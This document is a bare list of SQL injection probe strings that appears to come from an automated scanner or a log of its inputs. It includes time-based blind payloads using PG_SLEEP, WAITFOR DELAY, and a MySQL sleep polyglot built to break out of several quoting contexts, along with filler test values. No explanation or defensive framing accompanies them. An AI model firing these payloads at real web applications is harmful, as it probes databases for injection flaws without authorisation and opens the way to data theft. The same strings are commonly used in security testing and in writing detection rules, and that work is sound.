555-1)) OR 474=(SELECT 474 FROM PG_SLEEP(15))--

555-1) OR 43=(SELECT 43 FROM PG_SLEEP(15))--

555-1 OR 829=(SELECT 829 FROM PG_SLEEP(15))--

5555JBYyTBH′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/